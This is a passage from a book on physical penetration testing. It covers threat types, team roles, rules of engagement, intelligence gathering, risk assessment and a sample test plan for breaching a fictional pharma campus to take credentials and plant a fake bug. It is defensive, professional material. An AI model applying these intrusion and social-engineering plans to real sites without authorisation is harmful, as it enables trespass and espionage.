it.\nTable 1.1\nTargets and threats\nTargets\nPotential threats\nCorporate targets (headquarters; larger\nself-contained facilities)\nBreached border security: wide-ranging access\nCorporate offices (shared premises), usually\nmanaged by building services or a central\nreception\nBreached border security: easy to breach,\ncorporate espionage\nData centers (third-party facilities for data\nstorage)\nAttractive targets across the board\nLocal government or council offices\nJournalists and protesters\nCentral government offices\nForeign intelligence, protesters and\nactivists\nPolice headquarters\nOrganized crime, activists and journalists\nUtilities\nTerrorism\nPower stations\nTerrorism\nMilitary bases\nForeign intelligence and protesters\nThere is a certain degree of crossover. For example, a corporate defense\ncontractor can be considered as a military target. How these threats\nmanifest themselves varies:\n" }, { "page_number": 31, "text": "ENGAGING A PENETRATION TESTING TEAM\n9\n•\nCommercial espionage – This can involve external hacking, physical\nintrusion into corporate premises, use of moles or sleepers to gather\nconfidential information, etc.\n•\nCommercial sabotage – Such acts can and have included ‘ethical’\nor ‘environmental’ terrorism i.e. attacks on facilities owned by drug\ncompanies, oil companies, animal testing facilities or abortion clinics\n(the latter being largely a North American phenomenon). Acts of\nsabotage by one commercial entity against another are rare but not\nunheard of and I’ve investigated more than one.\n•\nActs by a foreign power – At the end of the Cold War, a downsizing\nof the traditional intelligence agencies was inevitable as many field\noperatives suffered from a ‘reduction in force’ (RIF). However, many\nex-KGB officers (for example) are now in engaged in commercial\nespionage, a great deal of it state sanctioned. Industrial intelligence\ngathering against the US and Western European nations is a major\nremit of the Russian intelligence-gathering apparatus, in particular the\nForeign Intelligence Service (SVR, the successor to the KGB) and, to\na lesser extent, the military intelligence organization (GRU). Favorite\ntargets include government contractors.\n•\nTerrorism – In the 1980s and 1990s, British government departments\nand their counterparts in the commercial sector were targeted by\nvarious groups with no small degree of success. As one group is\nneutralized, new threats emerge to take their place. MI5 currently\nmonitors thousands of potential terrorists and hardly a week seems to\ngo by without new suspects being arrested.\nIn conclusion, the complexity and range of the threat is far more involved\nthan it initially appears to be. The climate we live in makes security\neverybody’s problem and it’s critical that every organization, large or\nsmall, understands the risks and is prepared for them.\nEngaging a Penetration Testing Team\nThis chapter covers the basics of physical penetration and its goals. You\nmay be reading this with the intention of engaging a company to carry out\na physical test. Before you read any further you should consider the costs,\npotential benefits and limitations associated with such an exercise. Is this\nreally something you need? Is it really something that your organization\nwill benefit from? Other questions you should ask yourself are these:\n•\nDo you currently have an all-encompassing security policy?\n•\nAre you auditing against that policy?\n" }, { "page_number": 32, "text": "10\nTHE BASICS OF PHYSICAL PENETRATION TESTING\n•\nWhat do you wish you learn from the exercise?\n•\nAre there specific areas you lack confidence in and want tested?\n•\nShould the test be black box or crystal box?\n•\nHow do you expect your organization to fare?\n•\nAre you engaging a test to justify additional security budget?\nIf you don’t have a security policy, then implementing one should be\nyour priority. If you don’t expect to perform very well in the test, consider\nwhy this is and implement additional security controls in these areas. If\nyou don’t feel you have sufficient budget and are looking to boost it with\ndemonstrable security weaknesses then don’t worry, you’re not alone. In\nfact, this is the number one reason that companies engage in any form of\npenetration test for the first time.\nSummary\nThis chapter has covered the basics of what you need to know if you want\nto get to grips with the somewhat involved field of physical penetration\ntesting. There’s a lot more to cover beyond the essentials introduced here.\nThere’s much more to security than just the technical aspects and there’s\nmuch more to technical security than just buffer overflows. You’ve\nlooked a little at what penetration testers do when faced with physical\nassignments as well the history of the industry and how it grew largely\nout of its military infancy into the commercial sector as the need arose.\nMost importantly, I have covered the basic terminology, which is critical\nto understanding later material. Getting used to the terminology also gets\nyou into right mindset.\nI’ve also introduced a little of why you would want conduct this form of\ntesting and the threats that different organizations face. If you’re reading\nthis book from the perspective of a security manager or CIO you should\nbe a little clearer on what’s involved in hiring a testing team.\n" }, { "page_number": 33, "text": "2\nPlanning Your Physical Penetration\nTests\nThe first casualty of war is the plan.\nunknown\nThe goal of this chapter is to give you the knowledge to build the right\nteam to carry out a physical penetration test. This is no small task; it\ninvolves assembling a team, designating appropriate roles, organizing\npreliminary research and being able to confidently plan the assignment\nfrom start to finish. There are also administrative and legal aspects to take\ninto consideration. After the planning phase of the project is complete,\nyour team members should know what is expected of them and, just as\nimportantly, what to expect from the assignment. Work you put into the\nplanning phase will be rewarded during execution.\nThere is an old joke that ‘in theory, theory and practice are the same thing,\nbut in practice they’re not’. Touch´e. The important thing to remember\nduring the planning phase is that nothing is, nor should be, set in\nstone. Your testing plan should be flexible enough to accommodate\ncontingency arrangements should assumptions turn out to be incorrect\nor should circumstances you previously took for granted change. This\nchapter is drawn from my own experience planning physical penetration\ntests. My own methods have been tweaked over years of experience. You\nshould draw from it or add to it as befits the individual requirements with\nyour team.\nWhen putting together an engagement scenario, you must consider the\npotential risks your client faces and what benefit physical testing will\nprovide to them. If you perform generic testing or just go through the\nmotions, you are wasting everyone’s time and money. Consider this\nexample: A high-end optics company wants a physical test performed\non their European headquarters. The facility is large and employs several\n" }, { "page_number": 34, "text": "12\nPLANNING YOUR PHYSICAL PENETRATION TESTS\nhundred people (mainly sales, middle management and support person-\nnel). The site also houses the distribution warehouse for all products\nshipped to Europe, the Middle East and Africa. What is their primary risk?\nIt’s not espionage: no research and development is performed at the site\nalthough, like all the company’s sites worldwide, it’s networked. This\ncompany makes cameras, scanners and lenses, which is not a controver-\nsial line of business per se; therefore, the risk of infiltration by journalists\nand activists is minimal. In this instance, the biggest concern is probably\nsimple theft. As the company produces devices that cost many thousands\nof dollars and fit into a backpack, the warehouse would be a tempting\ntarget for thieves. This is not to say that the offices, staff and computer\nnetwork should not be considered in a penetration test but you must\nidentify the client’s risks as they relate to their business interests.\nThe above notwithstanding, a lot of the time you won’t have much input\ninto determining the target assets and will be heavily directed to the areas\nthat the client wants tested. However you should not be shy in saying if\nyou think any given scenario offers little real-world value and suggesting\nbetter alternatives. In the previous example, a testing team would have\nlittle difficulty in entering the target offices and taking photographs but\nwould completely ignore the real issues. Risks vary between organizations\nbut consider the examples in Table 2.1.\nTable 2.1\nOrganization types and risks\nBusiness area\nExample risk\nExample scenario\nCentral government or military\nTerrorist attack\nSmuggling a package into a secure area.\nCorporate headquarters\nEspionage\nAccess to files or computer systems.\nLuxury car dealership\nTheft\nRemoving assets.\nBuilding the Operating Team\nThe operating team actually carries out the physical penetration and\nmembers can be divided into different roles with different responsibilities\nand areas of expertise. The team makeup will vary with each test as\nno two are alike; consequently, it is not enough to build one team and\nhope for the best. This must be done in the planning phase for every test.\nFinancial and other practical considerations make it likely that these roles\nwill overlap and team members will assume more than one role even\nwithin a single test.\n" }, { "page_number": 35, "text": "BUILDING THE OPERATING TEAM\n13\nOperator\nOperator is a generic term used to refer to a core member of the operating\nteam. This term is used to refer to all team members regardless of\ntheir specialties or roles. The basic operator role is where everybody\nstarts before training in a specialist field. Though all team members may\naccurately be referred to as operators, these are usually the people who\ndirectly participate in testing rather than in a support role. As I say, the\nterm is generic and does not imply expertise in any given role.\nTeam Leader\nThis team member has the ultimate responsibility for delivering the\nassignment, managing the project and team members, liaising with the\nclient, and so on. This role shouldn’t be permanent but cycled. This gives\neveryone leadership experience and encourages fresh approaches. The\nteam leader usually leads the team in the field but sometimes this needs to\nbe done from headquarters (HQ) where he takes the role of coordinator.\nIt is not unusual to delegate the role of team leader to an operator in the\nfield while retaining an HQ coordinator, as this gives you the best of both\nworlds.\nCoordinator or Planner\nThe coordinator directs and assists team members from HQ or from\nanother offsite location when the team leader is deployed with the main\noperating team. This member of the team ensures that offsite assistance\n(technical, legal, reference, social engineering, etc.) is always available.\nWhen direct offsite coordination of deployed operators is unnecessary,\nit is still usual to have someone in this role and absolutely critical if\nmultiple vectors or teams are deployed simultaneously against the same\ntarget. A common example would be a physical test carried out in\nparallel with a computer-based intrusion, particularly when information\nfrom each team needs to be fed into the other; a successful computer\nintrusion may depend on information gathered on site and a successful\nphysical intrusion may need ongoing remote intelligence or some form\nof electronic control.\nSocial Engineer\nSocial engineering is the art of deception and human manipulation, a\ncritical skill to the success of the sort of engagement discussed in this\nbook. The basics of social engineering are discussed in Chapter 4 but\n" }, { "page_number": 36, "text": "14\nPLANNING YOUR PHYSICAL PENETRATION TESTS\nexpertise in this field cannot easily be taught; it is either natural or learned\nthrough experience.\nSocial engineering is mostly performed off site and is an attack commonly\nperformed prior to physical testing. That being said, all operators can be\nexpected to perform some degree of social engineering while on site.\nComputer Intrusion Specialist\nThis role is also referred to as the ‘ethical hacker’, a discipline in and of\nitself. The computer intrusion specialist is responsible for gaining access\nto computers and networks. In the context of a physical penetration\ntest, this will usually (but not exclusively) be performed on site. The key\ntargets in physical penetration testing are usually information systems,\ntherefore it is unlikely you will have much long-term success unless\nyour resources include people capable of this kind of work. Luckily, the\ncomputer-penetration testing industry is booming and this skill set is not\nhard to find.\nPhysical Security Specialist\nThis team member should be skilled in picking locks and in profiling\nand defeating physical security measures in general. Usually at least one\nmember of the team should have rudimentary skills in this area. Picking\nlocks is not difficult but it does take practice and a little luck. I cover\neverything you need to get started in Chapter 5 and refer to various bits\nof equipment that will make your life a little bit easier.\nSurveillance Specialist\nThis team member is expected to be able to capture photos of buildings,\nstaff, badges, dumpsters and perimeter security. Surveillance staff should\nobviously be skilled with a camera although this is only the most basic\nprerequisite. A surveillance operator is a core member of the team and\nmust be capable of gathering evidence by covert means on foot, in a\nvehicle or by public transport. Covert photography is discussed in Chapter\n6 and expands a little on these themes.\nAssigning Roles to Team Members\nThe roles in the previous sections do not describe individual team\nmembers but specialist skill sets – the roles that any given team member\nmay be asked to assume in the execution of a test. Only the largest\n" }, { "page_number": 37, "text": "PROJECT PLANNING AND WORKFLOW\n15\ntesting groups will be able to deploy operating team roles at this level of\nresolution. Even then, doing so is neither cost effective nor operationally\nefficient.\nEfficiency demands that individual team members adopt multiple areas\nof responsibility. For example, information gathering is not listed as a\nspecialist skill set. This is something that every team member will have\nto contribute to throughout the test and, given the numerous disciplines\nthis encompasses, it cannot be considered ‘specialist’ per se.\nSome equipment is standard on all assignments; some is not required;\nmuch is optional. The overall nature of the test and the roles a particular\nteam member has been assigned should determine the equipment you\nallocate to team members. A comprehensive discussion of kit can be\nfound in Chapter 8.\nThe very definition of a team means that individual team members will\nhave different skill sets and will be naturally predisposed towards certain\nroles. Allocating an ethical hacker to a social-engineering role is not just\na waste of resources but demonstrates a lack of understanding of the\nqualities that make up a good social engineer. They are not necessarily\ncompatible with the nature of an ethical hacker. In principle at least,\nanyone can learn and become skilled at ethical hacking, photography,\nor lock picking. Social engineering requires a certain kind of personal-\nity: confident, extroverted, and generally good with people. This is not\nsomething in which one can become accredited. On the other hand, the\nabilities of a computer intrusion specialist may not be immediately appar-\nent to somebody inexperienced in ethical hacking. Therefore practitioners\nmust either have demonstrable experience in the field or possess base-\nline accreditation (the former being preferable). Security accreditation is\ndiscussed in the appendices.\nI strongly advise that when putting together a team you include only your\nown staff members. Using contractors is not recommended for operational\nand legal reasons. Think about this from the perspective of your client\nwho might object to you bringing in third parties who may be unknown\nto you and whose credentials may be harder to verify.\nProject Planning and Workflow\nAs you plan your project, create a workflow to be sure that you cover all\naspects of the assignment. The workflow in Figure 2.1 shows the stages,\nmore or less, that any physical test will follow. Although vague, the chart\n" }, { "page_number": 38, "text": "16\nPLANNING YOUR PHYSICAL PENETRATION TESTS\nReceive\nEngagement\nNegotiate Rules \nof Engagement\nAllocate\nPreliminary\nRoles\nInformation\nGathering\nPhotographic\nSurveillance\nReappraise\nRoles\nSocial\nEngineering\nExecute\nAssignment\nWrite Report\nPerform\nPreliminary\nResearch\nDetermine Risk\nDetermine\nEquipment\nWrite Test Plan\nComplete\nDocumentation\nRequirements\nFigure 2.1\nA physical test workflow.\n" }, { "page_number": 39, "text": "PROJECT PLANNING AND WORKFLOW\n17\nin Figure 2.1 can easily be imported into your own project management\nmethodology.\nWhen the planning phase is concluded, the paper output of each stage\nwill make up part of the project document set.\nThere are a number of phases involved in preparing for an engagement.\nSome are unavoidable and some are open to interpretation. However, I\ntake the following approach because it’s thorough and leaves as little as\npossible to chance:\n1.\nReceiving the assignment – At this stage, contracts have been signed\nand certain legal formalities observed.\n2.\nNegotiating the Rules of Engagement – These define what you can\nand can’t do during testing and their purpose is usually to limit testers\nto a certain scope.\n3.\nPerforming Preliminary Research – You are now ready to pursue the\ninitial information-gathering phase. This will take many forms:\n•\nDetermining Risk – It’s important to accurately gauge the risk a\nproject poses both to the company and to the team members\nexecuting it.\n•\nWriting a Test Plan – A formal (but flexible) test plan is a good\nidea from both project management and legal perspectives.\n•\nGathering Equipment – Equipment is discussed in Chapter 8 but\nit’s important for the team to take gear that’s appropriate to the\ntest without being over encumbered.\n4.\nProviding documentation and legal requirements – Once the plan-\nning stage is complete you will have a not insignificant amount of\ndocumentation. We discuss what you should have and who should\nhave access to it.\nReceiving the Assignment and Negotiating the Rules of Engagement\nThe planning phase usually begins when contracts are signed and\nexchanged. However, this is not exclusively the case. Some clients want\nto negotiate the rules of engagement (RoE) and include them as a section\nof the contract prior to signing. This is a matter of preference: larger\norganizations tend to want as much detail in the contract as possible.\nThe RoE are tremendously important. They are the operational parameters\nwithin which penetration test team members work; they guide and\nconstrain the team. They exist to determine not only what needs to be\nconsidered during the lifecycle of the project but also to protect testers\nand clients from misunderstandings and the legal consequences these\n" }, { "page_number": 40, "text": "18\nPLANNING YOUR PHYSICAL PENETRATION TESTS\ncan generate. RoEs are mutually agreed to by testers and the client. Here\nis a list of the minimum considerations:\n•\nYou must determine which areas of security the client considers to be\nweak and wants tested, for example the physical perimeter security.\n•\nYou must determine which areas of testing the client wishes to avoid\nfor legal reasons, such as close surveillance of staff. Some clients may\nprefer to avoid testing in some areas because confidence in that area\nis high or it has been recently assessed.\n•\nYou must agree on which team members will carry out testing. Not\nall team members may hold the necessary clearances.\n•\nYou must agree on the duration of the test or the maximum time\npermitted.\n•\nYou must agree about the level of information given in advance (if\nany). A test in which the operating team gets substantial information\nin advance (in order to save time and focus on a particular area) is\ncalled ‘crystal box testing’. When no information is provided the test\nis referred to as ‘black box testing’. Something in the middle may be\ncalled a ‘grey box test’.\n•\nYou must agree on the target assets. Assets are components of the\noverall goal. Usually an asset is something the team must acquire,\nidentify, gain access to, or photograph. Examples include network\noperation centers, passwords or target personnel.\n•\nYou need to agree on the circumstances that must occur for the test to\nbe considered a success from the perspective of the operating team.\n•\nYou should outline the circumstances that must occur for the test to\nbe considered a failure from the perspective of the operating team.\n•\nYou should include circumstances in which, if they occur, the test is\nconsidered to be aborted.\n•\nYou must agree on the actions to be taken directly following successful,\nfailed and aborted tests.\n•\nYou must set a schedule for the presentation and delivery of the\npost-testing report.\nOnce you and your client agree about these details, document the\ncomplete RoE for addition to the project document set.\nPerforming Preliminary Research\nThe techniques involved in conducting preliminary research and infor-\nmation analysis can be found in various chapters throughout this book.\nHere I discuss the subject purely from the perspective of comprehension\nand planning.\n" }, { "page_number": 41, "text": "PROJECT PLANNING AND WORKFLOW\n19\nPreliminary intelligence gathering can broadly be categorized into the\nareas in the following list. Given that your goals usually (though not neces-\nsarily) revolve around gaining access to corporate or government facilities,\nthe sort of intelligence you gather must further and support these ends:\n•\nHuman Intelligence (HUMINT) – intelligence gathered directly from\nhuman sources;\nIn general, HUMINT refers to privileged, although not necessarily\nclassified or formally confidential, information obtained from insiders\nunder false pretences. The act of gathering such information is referred\nto as social engineering and it’s an important enough subject to\nbe treated on its own (see Chapter 4). The skilled use of human\nintelligence gathering will give the operating team a considerable\nedge when penetrating any organization.\n•\nSignals Intelligence (SIGINT) – intelligence gathered through the use\nof interception or listening technologies;\nBreaching site-wide wireless networks from outside the target core is\na form of SIGINT that you might consider using during the preliminary\nphase. However, in general, this is likely to be secondary to other forms\nof intelligence gathering in the preliminary phase (unless the target\nhas extremely insecure or exposed communications). After physical\nsecurity borders have been crossed (referred to as moving from PRIME\nto CORE), signals intelligence becomes more important as network\nlinks and short-range wireless technologies become available.\n•\nOpen Source Intelligence (OSINT) – intelligence that draws on infor-\nmation from public sources;\nThese sources are most likely to be found either on or via the\nInternet. Employee information, for instance, is particularly useful\nwhen engaging in pretexting and other forms of social engineering.\n•\nImagery Intelligence (IMINT) – intelligence gathered through rec-\norded imagery, i.e. photography.\nIf possible, photographs of the target site and possibly staff should\nbe acquired in the preliminary phase, depending on the nature of\nthe engagement. The value of good photographic intelligence can-\nnot be understated and its benefit will become increasingly apparent\nthroughout this book. Historically, IMINT also refers to satellite intel-\nligence; however satellite imagery is a cross over between IMINT and\nOSINT as far as it extends to Google Earth and its equivalents.\nDetermining Risk\nUltimately, it is the team leader’s responsibility to determine what con-\nstitutes an acceptable level of project risk. If the team leader feels the\nlevel of risk is too high then the RoE should be reassessed or the test\n" }, { "page_number": 42, "text": "20\nPLANNING YOUR PHYSICAL PENETRATION TESTS\nshould not be carried out. Risk in physical penetration testing can be\nexpressed in a number of ways but can be broadly categorized into the\nfollowing areas, which are linked and overlapping – no risk exists in a\nvacuum – contractual, operational, legal and environmental risks. Enthu-\nsiastic project managers will notice this provides you with a convenient\nacronym – COLE.\n•\nContractual Risks – Contractual problems usually occur when the\ntesting company has bitten off more than it can chew and the team’s\nability to deliver the assignment falls short of its contractual obliga-\ntions. This is a common but avoidable problem. To put it another\nway, because an inadequately prepared and poorly trained team has\nbeen unable to complete an assignment does not necessarily mean\nthat the client is secure. This is a common thread throughout all\nspheres of vulnerability assessment, but particularly in physical pen-\netration testing as failures tend to be more apparent. Never take an\nassignment that you don’t believe you can complete or that cannot\nbe completed.\n•\nOperational Risks – These are inadvertent or unforeseen problems\nduring the execution of a test that, at best, lead to difficulty completing\nthe assignment and, at worst, to an aborted mission. Operational risks\nare usually predictable with a little forethought and are, therefore,\navoidable. Examples include:\n•\nCommunications breakdown due to human or technical failure.\n•\nInexperienced team members misinterpreting instructions or goals.\n•\nA failure to assess correctly the difficulty of achieving an initial\nmilestone leading to subsequent meltdown.\n•\nLegal Risks – A project may incur direct or indirect legal risk.\nTeam members may be put in a position that could directly lead to\ntheir arrest. This may happen when an overly enthusiastic security\nguard circumvents procedure and directly involves law enforce-\nment; when someone believes a team member is acting suspiciously\nand calls the police; or when team members are directly appre-\nhended by the police, for example, during a night-time penetration\nexercise.\nDuring a black box test, the scope may be operationally exceeded,\nsometimes catastrophically. An example of this is penetrating the\nwrong facility or business. Don’t laugh; this happens, particularly in\nshared premises. Imagine the embarrassment of hacking the wrong\nwireless network or of hearing that a team member (possibly lack-\ning in basic math), has climbed through the wrong window into a\nneighboring business’s board room. At the very least, this may involve\nexplaining to a judge that you accidentally broke into the wrong\nbuilding. Such mistakes are invariably expensive.\n" }, { "page_number": 43, "text": "PROJECT PLANNING AND WORKFLOW\n21\n•\nEnvironmental Risks – These are physical hazards your team may\nencounter during testing that can directly affect the health and safety of\nteam members. Such risks vary widely depending on the engagement\nbut consider, as a minimum, the inherent dangers of the following:\n•\nworking at night or in the dark;\n•\nworking near large bodies of water;\n•\nworking in the presence of machinery or high voltage;\n•\nclimbing and falling;\n•\nbeing attacked by guard dogs;\n•\nworking in extremes of heat or cold;\n•\nclimbing barbed or razor wire or electric fencing;\n•\nconfronting armed security.\nA team leader should never knowingly put his people in harm’s way.\nA number of sites, in North America and elsewhere, make use of armed\nsecurity. In such circumstances, there is an inherent risk of injury or\ndeath to any personnel assigned to the operating team. The liability\ninvolved for all parties is tremendous. Personally, I do not recommend\naccepting work in circumstances where firearms are routinely issued\nto security staff; they may be brought to bear before individuals have\nan opportunity to identify themselves.\nOne of the problems inherent in physical penetration testing is achieving\na realistic assessment of the client’s exposure. An operating team is limited\nin time and scope; an attacker is not. Environmental risks further impinge\non your ability to gauge the vulnerability an organization faces because\nclients will be unwilling to sign off on tests they perceive as carrying a\npossibility of harm to the tester, which in turn may result in the client\nbeing sued.\nWriting a Test Plan\nHaving completed the previous steps, you are now in a position to draft\nthe test plan. In the example shown in this section, I have kept the\nlanguage deliberately loose to ensure maximum compatibility with your\nown project management methodologies.\nThe test plan is divided into three sections that detail the agreed upon\nengagement plan from different viewpoints or layers of resolution:\n•\nStrategic – This is a very high-level view of the project that details\nthe goals, assets, team members, potential COLE risks, and necessary\n" }, { "page_number": 44, "text": "22\nPLANNING YOUR PHYSICAL PENETRATION TESTS\nequipment. An outline of the project background and history can also\nbe included here.\n•\nTactical – Given the strategic goals, this section creates a list of\nmilestones or mini-goals and the order in which you believe they\nshould be completed.\n•\nOperational – This section defines in detail what is required to\ncomplete each milestone and how its completion will affect the\nengagement as a whole.\nIt’s far more illustrative at this stage to look at an example test plan and\nsee how this theory is applied. As you can see, a testing plan does not\nneed to be huge. Actually, it is best to keep it as short and clear as\nyou can.\nExample Test Plan\nTeam Lead: Kris Mitchell Date: 7th Jan 2010\nClient: Lithex Pharmaceuticals\nFollowing discussion with Lithex Pharma, I propose the approach laid\nout below:\nSTRATEGIC OUTLINE\nLithex wants a physical penetration test of their facility in Thame,\nEngland. I therefore propose using the local resources JE and TS.\nFollowing several suspected industrial espionage incidents (the details\nof which Lithex has decided not to share with us) there is con-\ncern that border security, both physical and electronic, is insufficient\nand potentially compromised. An internal investigation into the pos-\nsibility of a mole on site is being conducted by the client and is\nongoing.\nWe have been tasked with all aspects of the penetration testing. The\nethical hacking element of the engagement is being handled by LS in\nthe Washington DC office and for our purposes should be considered\na separate project. As far as the physical engagement is concerned, the\nclient is interested in knowing how easily we can:\n• Acquire internal network domain credentials, particularly those of\ndomain administrators.\n• Covertly install fake listening devices in the board room. Actual\nlistening devices should NOT be used.\n" }, { "page_number": 45, "text": "PROJECT PLANNING AND WORKFLOW\n23\nROE\nWe have five working days (beginning Mon Jan 14, 2010) to complete\nany onsite work. Preliminary research has already taken place. The\nassignment will be black box and the target is unaware (i.e. the CIO\nand local officers have not been informed of testing). All subsequent\ncommunication will be through me. The CEO’s office will be the\nofficial point of contact once testing begins; she has arranged to have\nsomeone available during office hours at the Lithex office in Chicago.\nAs out-of-office security is (considered by the client to be) high, with\nthe campus on lockdown, testing is restricted to office hours only.\nDumpster diving is not to be undertaken due to the fact that toxic\npharma byproducts have apparently been known to find their way into\nthe main dumpsters. We’ll keep this to ourselves I think. Given that\nwe’re not permitted to perform night-time testing and the prominent\nposition of the dumpsters, I’m not sure it would be viable anyway.\nThere are several wireless networks on site, proceed at own discretion\nregarding these.\nCOLE RISKS\nThe facility is in a rural area and is a distinct campus; all buildings\nare owned by Lithex and all staff are Lithex employees or contractors.\nAccording to preliminary research, there is a light presence of security\nstaff (Tangos) however these are mostly restricted to the guard office at\nthe rear of the campus. Guard patrols are virtually non-existent during\nthe day; the emphasis seems to be (as far as we can tell) on monitoring\ncamera feeds. As this is a British facility, no X-rays are present.\nTEAM MEMBERS AND EQUIPMENT\nI will coordinate the team from the DC office. JE and TS will be in\nthe field. JE is a veteran computer intrusion specialist though has little\nexperience of physical testing. TS will handle any face work, lock\npicking, and so forth.\nEquipment for this test will be simple; beyond the standard, the\nfollowing equipment is suggested:\n• GPS\n• Lock-defeating tools\n• Appropriately configured laptops and accessories.\nDress should be business smart.\n" }, { "page_number": 46, "text": "24\nPLANNING YOUR PHYSICAL PENETRATION TESTS\nCommence\nEngagement\nBreach Border\n(PRIME)\nBreach Border\n(CORE)\nCovert\nBreach Border\n(CORE)\nOvert\nLocate Suitable \nNetwork Point\nLocate\nBoardroom\nPlant Bug\nLeave\nFigure 2.2\nTactical milestones.\n" }, { "page_number": 47, "text": "PROJECT PLANNING AND WORKFLOW\n25\nTACTICAL OUTLINE\nMilestones are as shown in Figure 2.2.\nOPERATIONAL OUTLINE\n• Breach Border Security: Prime – Getting on to the campus itself is\nvery straightforward. The first security control is the reception in the\nmain building. All other buildings on campus are networked.\n• Breach Border Security: Core – (This will be either covert or overt\npenetration; it will be an operational decision.) Access to the board-\nroom will require entering the main building, which will in turn\nrequire going through reception or finding another point of ingress.\nPreliminary research shows several other doors but nothing conclu-\nsive. Access to the network should be obtained first via a peripheral\nbuilding.\n• Locate Suitable Network Access Point – Peripheral buildings will\nbe relatively insecure. Gaining access to the internal network will\nprobably not be difficult from here.\n• Acquire Passwords – Proceed at own discretion here. This is J’s job.\n• Locate Boardroom – Probably not difficult to locate but again, main\nissue lies in getting past reception. I suggest that on completion of\nthe network phase, testers stop in at reception to ask for directions\nand assess security. This can also be done prior to start of testing to\nincrease lead time.\n• Plant ‘Bug’ – This speaks for itself.\n• Leave – As does this.\nProviding Documentation and Legal Requirements\nBy the time you’ve completed the planning phase of the project, you\nwill have the following documentation, which comprises the project\ndocumentation set (PDS):\n•\nRoE;\n•\ntest plan;\n•\nsigned contracts;\n•\ncopies of ‘get out of jail free’ cards;\n•\nscan of official ID of operating team members (passport, driving\nlicense);\n" }, { "page_number": 48, "text": "26\nPLANNING YOUR PHYSICAL PENETRATION TESTS\n•\nscan of insurance bonding of team members;\n•\nscan of security clearance reference information (if relevant). This\nshould include the sponsoring organization or department.\nThe PDS should be lodged with the lawyers or officers of the testing\ncompany.\nShould You Notify Law Enforcement?\nThis is your call. On one test I was encouraged by the company lawyers\nto inform the local police department that we would be conducting\nwork in the area and provide them with some details. This led to a\nmarked car being parked across the street from the target location\non the night we were conducting our initial surveillance. About an\nhour later, our team was approached and questioned by officers who\nclaimed to be passing but clearly had foreknowledge of our presence.\nEither the police misunderstood our reasons for involving them, didn’t\ntrust us or were simply curious, I’m not certain. However, working\nwith the police looking over your shoulder is extremely distracting and\nis not something I am prepared to repeat.\nCodes, Call Signs and Communication\nBefore venturing into the field, it is useful to have a predefined list of code\nwords and abbreviations regardless of what communications technology\nyou choose to adopt. This is useful for speed of communication, security,\nand eliminating confusion and ambiguity. Some of these terms have\nbeen decided for us by historical convention; some are specific to the\ninformation that a penetration testing team will need to communicate\nand others are specific to an individual operating team.\nThe terms in Table 2.2 are drawn from my own experience and should be\nconsidered as suggestions. The terminology is not complete, to encourage\nreaders to develop their own communication protocols according to\ntheir needs. Ensure that all team members are fluent with any adopted\ncommunication conventions.\nIn a simple test scenario as detailed in the last section, communication\nconventions are not necessary. However, when tests become compli-\ncated, with multiple team members in different locations, you should\ndefinitely establish and use communications protocols.\n" }, { "page_number": 49, "text": "CODES, CALL SIGNS AND COMMUNICATION\n27\nTable 2.2\nMeanings of suggested terminology\nCategory\nTerm\nMeaning\nRequesting or giving\ninformation\nRoger\nAcknowledged.\nCancel my last\nIgnore my last message\nStand down\nCancel test\nOperating team\ndesignations\nAlpha\nA collective term for the operating team.\nSix\nThe team leader. This is drawn from American\nmilitary parlance and is used for want of anything\nbetter.\nOne, Two,\nThree, etc.\nTeam members.\nTarget personnel\nTango\nA security guard, dedicated security personnel.\nX-Ray\nAn armed security guard.\nSubject\nThe subject of a coordinated surveillance operation.\nPassive\nNon-security personnel, staff member.\nStatus\nAll Go\nThe penetration test has been initiated and all\nassigned team members have been deployed.\nWrapped\nThe test has been successfully concluded.\nMade\nA team member has been compromised.\nTotal loss\nThe test has been aborted prior to penetrating target\ndue to unforeseen circumstances or outside\nconstraints.\nEyeball\nVisual confirmation.\nFacility-related\nOmega\nTarget organization.\nOmega prime\nTarget facility, outside border security (e.g., car\npark).\nOmega core\nTarget facility, inside border security.\nFootball\nAsset\nIngress 1, 2, 3,\netc.\nEntrances, generally predetermined. They may be\ncategorized as, for example, ingress main (the\nmain entrance), ingress smoker (a doorway where\nsmokers congregate), etc. Note that ‘ingress’ in\nthis context means a potential entrance for the\ntester. For example, a fire exit is a potential point\nof ingress.\n" }, { "page_number": 50, "text": "28\nPLANNING YOUR PHYSICAL PENETRATION TESTS\nSummary\nExecuting a physical penetration test without adequate planning and\ninformation gathering is an exercise doomed to failure. During the\nplanning phase you should review this chapter to ensure all your bases\nare covered. You should now be familiar with the following topics:\n•\nBuilding an Operating Team – This involves selecting the right people\nfor the right role, which is heavily dependent on the nature and scale\nof the test. It is likely that team members will be required to acquire\nmultiple skill sets and assume multiple roles.\n•\nProject Planning – Different organizations favor different approaches\nto project management and the language used in this chapter is loose\nenough to integrate into any existing methodology.\n•\nRules of Engagement – In this chapter, I introduced the concept of\nRoE and how this will influence your approach to testing. The RoE are\ncritical; they are usually part of the legal contract between the testing\ncompany and the client.\n•\nConducting Preliminary Research – This chapter covered preliminary\nresearch from the perspective of the planning phase and how this fits\ninto the overall approach. The different types of intelligence gathering\nwere examined.\n•\nEvaluating Risk – Risks encountered during testing come in different\nforms and can be expressed in different ways. The concept of COLE\nwas introduced as means of evaluating risks to the testing team and\ncompany.\n•\nThe Test Plan – You should now be able to write a test plan even if\nyou’re not familiar with the practical elements of the testing itself. I\nstart to discuss these in Chapter 3.\n•\nLegal Issues and Documentation – You should now be able to pro-\nduce the required documentation to support a physical penetration\ntest and be familiar with some of the legal aspects.\n" }, { "page_number": 51, "text": "3\nExecuting Tests\nThere are no secrets better kept than the secrets that everybody guesses.\nGeorge Bernard Shaw\nI’d like to open this chapter with an example of how not to implement\nsecurity. I’d been working at a client site performing a (non-physical)\nsecurity audit. Despite the fact that the team was screened and cleared\nbefore being allowed through the door (this was a government client)\nwe had to sit through four additional hours of screening procedures.\nWhen this was complete, our electronic equipment (including laptops\nand mobile phones) was confiscated and we were locked in the room\nwhere we would be working. By locked, I mean you needed a proximity\nbadge to get in and out and we didn’t have one between us. If at any\ntime we wished to leave the room (for instance to use the bathroom), we\nhad to call our Point of Contact (PoC) on a landline. The problem was he\nnever answered.\nSounds secure, right? Wrong. The problem was that permanent members\nof staff working around us were used to these restrictions being placed\non contractors and were pretty sick of having to escort visitors around\nwhen they had their own work to do. The upshot of this was that anyone\nwould open a door for you, anytime, anywhere if you asked politely. I\ndoubt that the client would have been able to function effectively if they\ndidn’t. About midmorning, I decided to go for a stroll and see how far I\ncould get without a badge. Let’s just say I was gone for an hour and went\nfrom one side of the building to the other (despite many proximity-coded\ndoors). I even spent some time discussing the weather with a security\nguard. If security becomes unworkable, people work around it because\nthey have to. 